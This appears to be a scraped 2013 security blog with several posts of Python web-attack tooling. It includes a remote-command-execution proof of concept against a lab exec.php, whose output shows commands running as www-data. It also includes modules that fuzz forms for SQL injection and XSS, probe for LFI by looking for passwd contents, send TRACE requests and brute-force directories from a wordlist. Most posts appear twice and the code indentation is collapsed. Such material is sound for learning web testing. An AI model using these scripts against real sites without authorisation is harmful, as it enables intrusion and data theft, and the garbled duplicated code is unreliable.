kuba@lap:~/public_html/github/rcelab/vauteck/aggreg_platform-master/www$
--- code ---
Ok.
We can now start to write a simple proof-of-concept using POST method to send the payload.
--- example poc-code ---
kuba@lap:~/src/py$ cat POST-poc2.py
#!/usr/bin/env python
import httplib, urllib
import sys
target = sys.argv[1]
poc = sys.argv[2]
path = '/kuba/github/rcelab/vauteck/aggreg_platform-master/www/exec.php'
url = target + path
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
params = 'cmd='+poc
conn = httplib.HTTPConnection(target)
conn.request('POST',path,params,headers)
response = conn.getresponse()
if response.status == 200:
print '[+] exploit works: ',response.status, response.reason
data = response.read()
print data
else:
print '[-] sploit failed :C\n'
kuba@lap:~/src/py$
--- example poc-code ---
And run it, like:
--- code ---
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 id
[+] exploit works: 200 OK
"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 uname
[+] exploit works: 200 OK
"Linux\n"
kuba@lap:~/src/py$ ./POST-poc2.py 192.168.1.102 whoami
[+] exploit works: 200 OK
"www-data\n"
kuba@lap:~/src/py$
--- code ---
This is how we create 3 PoC's for 3 vulnerable webapplications:
- RCE via GET
- RCE via POST
- remote webshell creating
In case you want to learn how to find vulnerabilities in webapps and write a little code in python,
maybe code below is for you. This is a simple python-based-scanner for PHP webapps.
As you will see below, 'functions to search for vulns' can be easly extended/changed.
So... have fun! ;)
--- siema2.py ---
#!/usr/bin/env python
import re
import sys
import os
dirname=sys.argv[1]
# get_files - listuje katalog z plikami
def get_files(dirname):
for dirname, dirnames, filenames in os.walk(dirname):
# print path to all filenames.
print '[+] dirname to check: ', dirname
print '\n___________________________________________'
for filename in filenames:
# czyta plik podany z argv[1]
# nastepnie, szuka w nim kolejno 'podatnosci'...
def reada_file(filename):
print '[+] --- filename ------------------------------------ > ',filename
with open(dirname+'/'+filename,'r') as fd:
n_line = 0
for line in fd.readlines():
n_line += 1
rce_regex = re.compile(r'((shell_exec[(]|passthru[(]|system[(]|curl_exec[(])(.*)[$].*)')
found = re.search(rce_regex, line)
if found:
print ('\t[!] =========> [+] Found RCE bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fi_regex = re.compile(r'((include[(]|include_once[(])(.*)[$].*)')
if fi_regex:
found = re.search(fi_regex, line)
if found:
# if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found LFI/RFI (include) bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fi2_regex = re.compile(r'((require[(]|require_once[(])(.*)[$].*)')
if fi2_regex:
found = re.search(fi2_regex, line)
if found:
# if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found LFI/RFI (require) bug, check at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not/wrong filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
fopen_regex = re.compile(r'((fopen[(]|fwrite[(]|file_get_contents[(]|file_put_contents[(]|fread[(])(.*)[$].*)')
if fopen_regex:
found = re.search(fopen_regex, line)
if found:
if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
else:
print ('\t[!] =========> [+] Found interesting function related to file-write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
preg_regex = re.compile(r'((preg_replace[(]|preg_match[(])(.*)[$].*)')
if preg_regex:
found = re.search(preg_regex, line)
if found:
if (line.find('_GET') != -1) | (line.find('_POST') != -1) :
print ('\t[!] =========> [+] Found interesting function related to *preg_match* write/read. Maybe it\'s bug, check it at source:\n')
print ('\t[ -> line number: [ %d ]\n') % (n_line)
print ('\t[ check parameter here, maybe it\'s not filtered :]\n %s') % (line)
print '-------> next ----> bug ---> -------------\n'
# ------------------------------ end of tests
n_line=n_line+1
# end reada_file()
print ''
reada_file(filename)
## end get_files()
##################
# MAIN:
##################
print '[+] Checking started:\n'
get_files(dirname)
print '\n'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
print '+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
--- siema2.py ---
If you have any questions, feel free to ask.
Once again, have fun! ;)
Labels:
0day,
art,
code review,
exploit,
note,
python webscanner,
rce,
vulnerability
Wednesday, 20 March 2013
[EN] Modules in your own webscanner - few OPTIONS
Below we have 2 codes.
First will get all HTTP OPTIONS (if this is possible).
Second one, will try to send TRACE (could be used to XST vulnerabilities).
Here we go:
#!/usr/bin/env python
# try_options.py
#
import httplib
import sys
import string
url = sys.argv[1]
conn = httplib.HTTPConnection(url)
conn.request('OPTIONS','/')
resp = conn.getresponse()
page_respone = resp.read()
#print page_respone
print resp.status, resp.reason
full_answer = resp.getheaders()
#print 'What we have here:\n', full_answer
print '-----------------------------------------------'
i=0
while i < len(full_answer):
print ' -> '.join(full_answer[i])
i=i+1
(Code is at pastebin too).
Next stage is to try if we can use TRACE (if test before will show us this method available):
#!/usr/bin/env python
# try_trace.py
# more at http://hauntit.blogspot.com
#
import httplib
import sys
import string
url = sys.argv[1]
conn = httplib.HTTPConnection(url)
#conn.request('TRACE','/w0rkin')
conn.request('TRACE','/<script>alert(/w0rkin/)</script>')
resp = conn.getresponse()
page_response = resp.read()
#print page_response
print
print 'try TRACE for: ', url
print 'Status: ',resp.status, resp.reason
full_answer = resp.getheaders()
print '\nWhat we have here:\n'#, full_answer
print '-----------------------------------------------'
i=0
if resp.status == 200:
while i < len(full_answer):
print ' with value: '.join(full_answer[i])
i=i+1
print '-----------------------------------------------'
print 'Response:\n', page_response
else:
print 'No TRACE, or other problem :C' # try manually or add debug here
(and pastebin-version).
Enjoy ;)
First will get all HTTP OPTIONS (if this is possible).
Second one, will try to send TRACE (could be used to XST vulnerabilities).
Here we go:
#!/usr/bin/env python
# try_options.py
#
import httplib
import sys
import string
url = sys.argv[1]
conn = httplib.HTTPConnection(url)
conn.request('OPTIONS','/')
resp = conn.getresponse()
page_respone = resp.read()
#print page_respone
print resp.status, resp.reason
full_answer = resp.getheaders()
#print 'What we have here:\n', full_answer
print '-----------------------------------------------'
i=0
while i < len(full_answer):
print ' -> '.join(full_answer[i])
i=i+1
(Code is at pastebin too).
Next stage is to try if we can use TRACE (if test before will show us this method available):
#!/usr/bin/env python
# try_trace.py
# more at http://hauntit.blogspot.com
#
import httplib
import sys
import string
url = sys.argv[1]
conn = httplib.HTTPConnection(url)
#conn.request('TRACE','/w0rkin')
conn.request('TRACE','/<script>alert(/w0rkin/)</script>')
resp = conn.getresponse()
page_response = resp.read()
#print page_response
print 'try TRACE for: ', url
print 'Status: ',resp.status, resp.reason
full_answer = resp.getheaders()
print '\nWhat we have here:\n'#, full_answer
print '-----------------------------------------------'
i=0
if resp.status == 200:
while i < len(full_answer):
print ' with value: '.join(full_answer[i])
i=i+1
print '-----------------------------------------------'
print 'Response:\n', page_response
else:
print 'No TRACE, or other problem :C' # try manually or add debug here
(and pastebin-version).
Enjoy ;)
[EN] Modules in your own webscanner - SQL injection module
Here I will present a simple idea of how to get to know if your site is vulnerable to SQL Injection.
This code is working on POST requests (idea is grabbed from XSS-ver-POST module).
Code was released because durning few tests I found an 0day vulnerability (sql injection) in one of Joomla's modules (I won't tell you which one was that ;) try it at your own!)
Code is here:
#!/usr/bin/env python
# try_POST_sqli.py
#
# first we will GET argv[1]/page.argv[2] to read it
# and find out what names/inputs/submits/etc... there are.
# next we will POST those param-names separetly with 'payload'.
#
# enjoy.
import urllib
import urllib2
import re
import sys
import httplib
host = sys.argv[1]
path_file = sys.argv[2]
url = host+':80'
url_file = url+path_file
payload = '\';]SQLI?^&*(O:UI:Y@:>T^#/**'
print 'Target: ',host
print 'Vuln file: ',path_file
print 'Full URL to attack:' ,url_file
print
# first we must GET page, to read whole text to find
# if there is any of our 'vulnerable' (to test) string.
get_connect = urllib.urlopen('http://'+url_file)
get_response = get_connect.read()
status = get_connect.getcode()
print 'Status of requested page: ',status
# what we're looking for:
#results = re.findall("<(input|textarea|select).+?name=['\"].(.+?)['\"].*?>",get_response)
results = re.findall(" name=\"([^\"]+)\"",get_response)
#############################################################
# hm ;] one idea to test right now. ;D
poc = open('log_file_with_sql_output.txt','w')
#############################################################
# func to send POST to target url+found parameter
def do_post_now(url):
params = urllib.urlencode ( { results[i] : payload } )
headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
connect = httplib.HTTPConnection(url)
connect.request('POST', path_file, params, headers)
response = connect.getresponse()
print response.status, response.reason # 200 OK?
data = response.read()
connect.close() # end of test this parameter at this URL
y=0
line = data.find('MySQL')
if line != -1:
print '\t[+- ( POST SQLI alert! ) -+]'
print '\t [+] Found sqli in line:' ,line
print data[y]
print poc.writelines(data)
#poc.close() # write&save simple p0c file. ;7
y=y+1
# end of do_post_now(url)
# ---
# MAIN:
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' localhost /path/2file.php')
sys.exit(1)
else:
# if result found:
if (len(results)>0):
print '-------------------------------------------------------------'
print 'Got some results :) Now we can try to exploit parameters.\n'
i = 0 # next in list
while i < len(results):
print 'Found param called: ',results[i]
print 'Do POST now, for URL: ', url, ' with param: ', results[i]
do_post_now(url)
# end of this POST for this parameter
# and next line:
i=i+1
# end of while i loop
You can also find this code at pastebin.
Let me know if you have any questions. ;)
Cheers o/
This code is working on POST requests (idea is grabbed from XSS-ver-POST module).
Code was released because durning few tests I found an 0day vulnerability (sql injection) in one of Joomla's modules (I won't tell you which one was that ;) try it at your own!)
Code is here:
#!/usr/bin/env python
# try_POST_sqli.py
#
# first we will GET argv[1]/page.argv[2] to read it
# and find out what names/inputs/submits/etc... there are.
# next we will POST those param-names separetly with 'payload'.
#
# enjoy.
import urllib
import urllib2
import re
import sys
import httplib
host = sys.argv[1]
path_file = sys.argv[2]
url = host+':80'
url_file = url+path_file
payload = '\';]SQLI?^&*(O:UI:Y@:>T^#/**'
print 'Target: ',host
print 'Vuln file: ',path_file
print 'Full URL to attack:' ,url_file
# first we must GET page, to read whole text to find
# if there is any of our 'vulnerable' (to test) string.
get_connect = urllib.urlopen('http://'+url_file)
get_response = get_connect.read()
status = get_connect.getcode()
print 'Status of requested page: ',status
# what we're looking for:
#results = re.findall("<(input|textarea|select).+?name=['\"].(.+?)['\"].*?>",get_response)
results = re.findall(" name=\"([^\"]+)\"",get_response)
#############################################################
# hm ;] one idea to test right now. ;D
poc = open('log_file_with_sql_output.txt','w')
#############################################################
# func to send POST to target url+found parameter
def do_post_now(url):
params = urllib.urlencode ( { results[i] : payload } )
headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
connect = httplib.HTTPConnection(url)
connect.request('POST', path_file, params, headers)
response = connect.getresponse()
print response.status, response.reason # 200 OK?
data = response.read()
connect.close() # end of test this parameter at this URL
y=0
line = data.find('MySQL')
if line != -1:
print '\t[+- ( POST SQLI alert! ) -+]'
print '\t [+] Found sqli in line:' ,line
print data[y]
print poc.writelines(data)
#poc.close() # write&save simple p0c file. ;7
y=y+1
# end of do_post_now(url)
# ---
# MAIN:
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' localhost /path/2file.php')
sys.exit(1)
else:
# if result found:
if (len(results)>0):
print '-------------------------------------------------------------'
print 'Got some results :) Now we can try to exploit parameters.\n'
i = 0 # next in list
while i < len(results):
print 'Found param called: ',results[i]
print 'Do POST now, for URL: ', url, ' with param: ', results[i]
do_post_now(url)
# end of this POST for this parameter
# and next line:
i=i+1
# end of while i loop
You can also find this code at pastebin.
Let me know if you have any questions. ;)
Cheers o/
[EN] Modules in your own webscanner - LFI module
Code listed below is a simple LFI-checker. It's based on the same module as XSS-over-POST.
As I wrote before, all of those 'modules' can be rewrited in one, bigger code.
Here is the code:
As I wrote before, all of those 'modules' can be rewrited in one, bigger code.
Here is the code:
#!/usr/bin/env python
# ----
# try_lfi.py - simple find if there is LFI vulnerability
# ----
# - can be also used to find traversal-vulnerabilities
# - tests can be extended to find more information than just passwd file.
import urllib
import sys
#defines:
url=sys.argv[1]
checkLfis = open('LFItext.txt','r')
try_lfi = checkLfis.readlines()
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' http://localhost/page?param=')
sys.exit(1)
else:
print '---------------------------------------------------------------'
print '[+] Searching for traversal/LFI vulnerability at URL: ', url
print '---------------------------------------------------------------'
i=0
for line in try_lfi:
full_url_to_check = url+line
try_page = urllib.urlopen(full_url_to_check)
read_page = try_page.readlines()
i=i+1
print 'Trying: ',line
print 'Status: ', try_page.getcode()
print '\t[~] Now reading the answer to '
print 'find out if there is our \'vulnerable-string\'...'
for read_lines in read_page:
if read_lines.find('root') != -1:
print '\t[+] Found potential LFI bug! '
print 'This is the answer: ', read_lines print '---------------------------------------------------------------'
As you can read at this code, it's using a LFItext.txt file to search some
various strings. At module's source you will find how to use it against
some local-file include vulnerabilities.
Whole code is available also at pastebin.
Feedback is welcome ;)
Enjoy! o/
[EN] Modules in your own webscanner - XSS over POST
This is another example of how python can be used to build (maybe simple but) useful
webapp scanner. This part (called 'module') can be used to figureout where in tested page we
will have a possibility of XSS vulnerablity (via HTTP POST).
It could be a good exercise to connect all of those 'modules' to build 'one code'
to test all vulnerabilities.
To start, create a file named try_POST_xss.py. (Like before, we will need chmod u+x for this file.)
Source code you can find below:
#!/usr/bin/env python
# ----
# try_POST_xss.py
# ----
# first we will GET argv[1]/page.argv[2] to read it
# and find out what names/inputs/submits/etc... there are.
# next we will POST those param-names separetly with 'payload'.
# enjoy.
import urllib
import urllib2
import re
import sys
import httplib
host = sys.argv[1]
path_file = sys.argv[2]
url = host+':80'
url_file = url+path_file
payload = 'your<xss<code<here' # for example script+alert(2222) - see below ;)
# if you want I have version 'payloads-from-file' too.
print 'Target: ',host
print 'Vuln file: ',path_file
print 'Full URL to attack:' ,url_file
print
# first we must GET page, to read whole text to find
# if there is any of our 'vulnerable' ('to find') string.
get_connect = urllib.urlopen('http://'+url_file)
get_response = get_connect.read()
status = get_connect.getcode()
print 'Status of requested page: ',status
# what we're looking for:
#results = re.findall("<(input|textarea|select).+?name=['\"].(.+?)['\"].*?>",get_response)
results = re.findall(" name=\"([^\"]+)\"",get_response)
#############################################################
# hm ;] one idea to test right now. ;D
poc = open('poc_file_for_POST_xss.html','w')
#############################################################
# func to send POST to target url+found parameter
def do_post_now(url):
params = urllib.urlencode ( { results[i] : payload } )
headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
connect = httplib.HTTPConnection(url)
connect.request('POST', path_file, params, headers)
response = connect.getresponse()
print response.status, response.reason # 200 OK?
data = response.read()
connect.close() # end of test this parameter at this URL
y=0
line = data.find('2222')
if line != -1:
print '\t[+- ( POST XSS alert! ) -+]'
print '\t [+] Found POST XSS in line:' ,line
print data[y]
print poc.writelines(data)
# poc.close() # write&save simple p0c file. ;7
# lookout here, because in some cases .close() method will generate an error.
# that's why it's #commented here.
y=y+1
# end of do_post_now(url)
# ---
# MAIN:
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' localhost /path/2file.php')
sys.exit(1)
else:
# if result found:
if (len(results)>0):
print '-------------------------------------------------------------'
print 'Got some results :) Now we can try to exploit parameters.\n'
i = 0 # next in list
while i < len(results):
print 'Found param called: ',results[i]
print 'Do POST now, for URL: ', url, ' with param: ', results[i]
# here we'll create a POST for found parameter
do_post_now(url)
# end of this POST for this parameter
# and next line:
i=i+1
# end of while i loop
# EOF.
# ----
Interesting thing here is that you will find 0days vulnerabilities at big companies.
Trust me. ;)
And - as always - feedback is welcome.
(* full code you will find also here.)
Enjoy! ;)
webapp scanner. This part (called 'module') can be used to figureout where in tested page we
will have a possibility of XSS vulnerablity (via HTTP POST).
It could be a good exercise to connect all of those 'modules' to build 'one code'
to test all vulnerabilities.
To start, create a file named try_POST_xss.py. (Like before, we will need chmod u+x for this file.)
Source code you can find below:
#!/usr/bin/env python
# ----
# try_POST_xss.py
# ----
# first we will GET argv[1]/page.argv[2] to read it
# and find out what names/inputs/submits/etc... there are.
# next we will POST those param-names separetly with 'payload'.
# enjoy.
import urllib
import urllib2
import re
import sys
import httplib
host = sys.argv[1]
path_file = sys.argv[2]
url = host+':80'
url_file = url+path_file
payload = 'your<xss<code<here' # for example script+alert(2222) - see below ;)
# if you want I have version 'payloads-from-file' too.
print 'Target: ',host
print 'Vuln file: ',path_file
print 'Full URL to attack:' ,url_file
# first we must GET page, to read whole text to find
# if there is any of our 'vulnerable' ('to find') string.
get_connect = urllib.urlopen('http://'+url_file)
get_response = get_connect.read()
status = get_connect.getcode()
print 'Status of requested page: ',status
# what we're looking for:
#results = re.findall("<(input|textarea|select).+?name=['\"].(.+?)['\"].*?>",get_response)
results = re.findall(" name=\"([^\"]+)\"",get_response)
#############################################################
# hm ;] one idea to test right now. ;D
poc = open('poc_file_for_POST_xss.html','w')
#############################################################
# func to send POST to target url+found parameter
def do_post_now(url):
params = urllib.urlencode ( { results[i] : payload } )
headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
connect = httplib.HTTPConnection(url)
connect.request('POST', path_file, params, headers)
response = connect.getresponse()
print response.status, response.reason # 200 OK?
data = response.read()
connect.close() # end of test this parameter at this URL
y=0
line = data.find('2222')
if line != -1:
print '\t[+- ( POST XSS alert! ) -+]'
print '\t [+] Found POST XSS in line:' ,line
print data[y]
print poc.writelines(data)
# poc.close() # write&save simple p0c file. ;7
# lookout here, because in some cases .close() method will generate an error.
# that's why it's #commented here.
y=y+1
# end of do_post_now(url)
# ---
# MAIN:
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' localhost /path/2file.php')
sys.exit(1)
else:
# if result found:
if (len(results)>0):
print '-------------------------------------------------------------'
print 'Got some results :) Now we can try to exploit parameters.\n'
i = 0 # next in list
while i < len(results):
print 'Found param called: ',results[i]
print 'Do POST now, for URL: ', url, ' with param: ', results[i]
# here we'll create a POST for found parameter
do_post_now(url)
# end of this POST for this parameter
# and next line:
i=i+1
# end of while i loop
# EOF.
# ----
Interesting thing here is that you will find 0days vulnerabilities at big companies.
Trust me. ;)
And - as always - feedback is welcome.
(* full code you will find also here.)
Enjoy! ;)
[EN] Modules in your own webscanner - find dirs and files
Durning the projects often the question is 'what tools we use'.
It would be difficult to 'present' the entire list of tools available in distros such as BackTrack,
but sometimes also hard to believe that we can use 'our own tools'.
Today, the idea taken directly from the popular DirBuster (available here). If you don't know it,
take a few minutes to check it out against your server(s).
Sometimes, when we're doing tests 'from shell' (or from console, you name it), we would like to use 'lighter' tool, than Java-based DirBuster.
Python can be the answer here.
With a few lines of code, we can offer a simple solution. A small program written in Python,
reads 'line by line' filenames and/or dir-names listed in the TXT-list-file and after that it
will present status code (of HTTP response) for each file/dirname.
In the directory where you'll put this python-code, let's create the file with a list of the interesting location(s) on a remote server. Sample list could look like this:
/config.php
/config_inc.php
/config/
/configuration/
/configuration.php
/doc/
/api/
/cache/
/template/
/language/
/media/
/modules/
/plugins/
/install/
/users/
/admincp/
/modcp/
/archive/
/archives/
/sitemap.xml
/ckeditor.php
/FCKeditor/editor/filemanager/browser/default/browser.html
/editor/filemanager/browser/default/browser.html
/fckeditor/editor/css/
/wp-admin/
/wp-content/
/wp-includes/
/index.aspx
/manual/
/server-status
/phpinfo.php
/pi.php
/phpMyAdmin/
/phpmyadmin/
/pma/
/panel/
/login/
/register
/contac
Of course a good choice is to use your own list (but for start you can try 'lists' from DirBuster / fuzzdb project).
Save this list to 'dirsToCheck.txt' file. This is of course a sample list of 'most interesting (us)' locations on a remote test-server. Finding those files/dirs can be significant (from 'webapp-test-point-of-view') because their could be used in the future to abuse, or obtaining information that will be useful durning another steps in pentest.
How do I take advantage of it now?
The program, which is below, does the following:
* the previously prepared TXT-file (with names and locations of directories and files), reads a line by line 'name-location'
* those 'names' (locations) will be used to build a full-URL address to remote hosts (as sys.argv[1])
* full-URL now is checking by HTTP GET (by urllib)
* status code (HTTP response) is the answer from each test (for each 'location')
Code is here:
#!/usr/bin/env python
# ---
# try_dirs.py
# this 'module' will check if there is a file/dir at remote host.
# files/dirs can be edited (you will find it at dirsToCheck.txt file).
# ---
# version : 2 @ 19.03.2013
#
import urllib
import sys
# defines:
url = sys.argv[1]
dirsToCheck = open('dirsToCheck.txt','r')
try_dir = dirsToCheck.readlines()
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' http://localhost/')
sys.exit(1)
else:
print '--------------------------------------------------------------'
print 'Try enumerate files/dirs at this URL: ',url
print '--------------------------------------------------------------'
i=0
for line in try_dir:
full_url_to_check = url+line
# print full_url_to_check
try_page = urllib.urlopen(full_url_to_check)
i=i+1
if try_page.getcode() == 200:
print 'Found location: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() == 401:
print 'Found location: ', line
print 'Seems to be authorized only: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() >= 500:
print 'Found server-side problem: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() == 403:
print 'Found but you have no permissions to access: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
Now you can re-edit this code to add for example 404-code (what can be useful durning information gathering steps, because sometimes 404-pages responsing with accurate name and server version).
At this stage, all (the results of the program) can be written by a *nix-based 'redirect to a file' using the '> name.txt'.
Another method is to create a larger 'program' and to establish methods of saving it to 'log-file' (eg using. writelines() to generate a simple report in a more elegant way.
How to run it you will find at code. At console you can use
$chmod u+x check_dirs.py
and next:
$ ./check_dirs.py http://our-server.com (with > filelog.txt if you want)
Sample output will look like this:
$ ./check_dirs-2.py http://www.xxx.xx
--------------------------------------------------------------
Try enumerate files/dirs at this URL: http://www.xxx.xx
--------------------------------------------------------------
Found location: /plugins/
Status: 200
------------------------------------------
Found location: /sitemap.xml
Status: 200
------------------------------------------
Found but you have no permissions to access: /wp-admin/
Status: 403
------------------------------------------
Found location: /wp-content/
Status: 200
------------------------------------------
Found but you have no permissions to access: /server-status
Status: 403
------------------------------------------
(...)
(* full code you will find here.)
Enjoy ;)
It would be difficult to 'present' the entire list of tools available in distros such as BackTrack,
but sometimes also hard to believe that we can use 'our own tools'.
Today, the idea taken directly from the popular DirBuster (available here). If you don't know it,
take a few minutes to check it out against your server(s).
Sometimes, when we're doing tests 'from shell' (or from console, you name it), we would like to use 'lighter' tool, than Java-based DirBuster.
Python can be the answer here.
With a few lines of code, we can offer a simple solution. A small program written in Python,
reads 'line by line' filenames and/or dir-names listed in the TXT-list-file and after that it
will present status code (of HTTP response) for each file/dirname.
In the directory where you'll put this python-code, let's create the file with a list of the interesting location(s) on a remote server. Sample list could look like this:
/config.php
/config_inc.php
/config/
/configuration/
/configuration.php
/doc/
/api/
/cache/
/template/
/language/
/media/
/modules/
/plugins/
/install/
/users/
/admincp/
/modcp/
/archive/
/archives/
/sitemap.xml
/ckeditor.php
/FCKeditor/editor/filemanager/browser/default/browser.html
/editor/filemanager/browser/default/browser.html
/fckeditor/editor/css/
/wp-admin/
/wp-content/
/wp-includes/
/index.aspx
/manual/
/server-status
/phpinfo.php
/pi.php
/phpMyAdmin/
/phpmyadmin/
/pma/
/panel/
/login/
/register
/contac
Of course a good choice is to use your own list (but for start you can try 'lists' from DirBuster / fuzzdb project).
Save this list to 'dirsToCheck.txt' file. This is of course a sample list of 'most interesting (us)' locations on a remote test-server. Finding those files/dirs can be significant (from 'webapp-test-point-of-view') because their could be used in the future to abuse, or obtaining information that will be useful durning another steps in pentest.
How do I take advantage of it now?
The program, which is below, does the following:
* the previously prepared TXT-file (with names and locations of directories and files), reads a line by line 'name-location'
* those 'names' (locations) will be used to build a full-URL address to remote hosts (as sys.argv[1])
* full-URL now is checking by HTTP GET (by urllib)
* status code (HTTP response) is the answer from each test (for each 'location')
Code is here:
#!/usr/bin/env python
# ---
# try_dirs.py
# this 'module' will check if there is a file/dir at remote host.
# files/dirs can be edited (you will find it at dirsToCheck.txt file).
# ---
# version : 2 @ 19.03.2013
#
import urllib
import sys
# defines:
url = sys.argv[1]
dirsToCheck = open('dirsToCheck.txt','r')
try_dir = dirsToCheck.readlines()
if len(sys.argv) < 2:
sys.stderr.write('usage: '+sys.argv[0]+' http://localhost/')
sys.exit(1)
else:
print '--------------------------------------------------------------'
print 'Try enumerate files/dirs at this URL: ',url
print '--------------------------------------------------------------'
i=0
for line in try_dir:
full_url_to_check = url+line
# print full_url_to_check
try_page = urllib.urlopen(full_url_to_check)
i=i+1
if try_page.getcode() == 200:
print 'Found location: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() == 401:
print 'Found location: ', line
print 'Seems to be authorized only: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() >= 500:
print 'Found server-side problem: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
elif try_page.getcode() == 403:
print 'Found but you have no permissions to access: ', line
print 'Status: ', try_page.getcode()
print '------------------------------------------'
Now you can re-edit this code to add for example 404-code (what can be useful durning information gathering steps, because sometimes 404-pages responsing with accurate name and server version).
At this stage, all (the results of the program) can be written by a *nix-based 'redirect to a file' using the '> name.txt'.
Another method is to create a larger 'program' and to establish methods of saving it to 'log-file' (eg using. writelines() to generate a simple report in a more elegant way.
How to run it you will find at code. At console you can use
$chmod u+x check_dirs.py
and next:
$ ./check_dirs.py http://our-server.com (with > filelog.txt if you want)
Sample output will look like this:
$ ./check_dirs-2.py http://www.xxx.xx
--------------------------------------------------------------
Try enumerate files/dirs at this URL: http://www.xxx.xx
--------------------------------------------------------------
Found location: /plugins/
Status: 200
------------------------------------------
Found location: /sitemap.xml
Status: 200
------------------------------------------
Found but you have no permissions to access: /wp-admin/
Status: 403
------------------------------------------
Found location: /wp-content/
Status: 200
------------------------------------------
Found but you have no permissions to access: /server-status
Status: 403
------------------------------------------
(...)
(* full code you will find here.)
Enjoy ;)
Wednesday, 13 March 2013
[EN] Modules in your own web scanner - #1
Soon... ;]
As soon as possible you will find here also:
- xss over GET 'test module'
- xss over POST 'test module'
- directory traversal/LFI 'test module' - (@10/02)
- sql injection 'test module' - (@19/03)*
- dir-finder 'module' - (@10/02)
- (... still in progress ;])
- and some information gathering 'module'
'to do' is of course GUI version, but who knows, maybe for now I will stay with console-based version.
Anyway... *After few minutes of using 'sqli-test' module I found an '0day vulnerability' in some 'random-checked' Joomla module (sqli injection vuln), so it's also usefull for searching this kind of bugs.*
*20.03.2013 - update*
As you can see, few modules are here today. Let me know about any feedback/ideas/questions.
Thanks!
o/
As soon as possible you will find here also:
- xss over GET 'test module'
- xss over POST 'test module'
- directory traversal/LFI 'test module' - (@10/02)
- sql injection 'test module' - (@19/03)*
- dir-finder 'module' - (@10/02)
- (... still in progress ;])
- and some information gathering 'module'
'to do' is of course GUI version, but who knows, maybe for now I will stay with console-based version.
Anyway... *After few minutes of using 'sqli-test' module I found an '0day vulnerability' in some 'random-checked' Joomla module (sqli injection vuln), so it's also usefull for searching this kind of bugs.*
*20.03.2013 - update*
As you can see, few modules are here today. Let me know about any feedback/ideas/questions.
Thanks!
o/
Subscribe to:
Posts (Atom)


